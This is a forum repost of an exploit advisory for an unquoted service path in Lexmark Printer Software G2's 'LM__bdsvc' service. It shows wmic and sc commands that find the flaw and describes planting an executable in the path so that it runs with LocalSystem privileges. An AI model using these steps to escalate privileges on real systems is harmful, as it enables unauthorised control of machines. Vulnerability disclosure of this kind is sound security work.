Jump to content

Lexmark Printer Software G2 Installation Package - 'LM__bdsvc' Unquoted Service Path

This CHT

Recommended Posts

  • Group:  The leader of the
  • Content Count:  4,798
  • Achievement Points:  31,702
  • With Us For:  243 Days
  • Status:  Offline
  • Last Seen:  
  • Device:  Windows

# Exploit Title: Lexmark Printer Software G2 Installation Package - 'LM__bdsvc' Unquoted Service Path
# Date: 2021-06-20
# Exploit Author: Julio Aviña
# Vendor Homepage: https://www.lexmark.com/
# Software Link: https://downloads.lexmark.com/downloads/drivers/Lexmark_Printer_Software_G2_Installation_Package_01292021.exe
# Version:
# Tested on: Windows 10 Pro x64 es 
# Vulnerability Type: Unquoted Service Path

# 1. To find the unquoted service path vulnerability

C:\>wmic service where 'name like "%LM__bdsvc%"' get displayname, pathname, startmode, startname

DisplayName                   PathName                                     StartMode  StartName
Lexmark Communication System  C:\Program Files\Lexmark\Bidi\LM__bdsvc.exe  Auto       LocalSystem

# 2. To check service info:

C:\>sc qc "LM__bdsvc"
[SC] QueryServiceConfig CORRECTO

        TIPO               : 110  WIN32_OWN_PROCESS (interactive)
        TIPO_INICIO        : 2   AUTO_START
        CONTROL_ERROR      : 1   NORMAL
        NOMBRE_RUTA_BINARIO: C:\Program Files\Lexmark\Bidi\LM__bdsvc.exe
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : Lexmark Communication System
        DEPENDENCIAS       :

# 3. Exploit:

A successful attempt to exploit this vulnerability requires the attacker to insert an executable file into the service path undetected by the OS or some security application.
When restarting the service or the system, the inserted executable will run with elevated privileges.
Link to comment
Share on other sites

  • Recently Browsing   0 members

    • No registered users viewing this page.
  • Create New...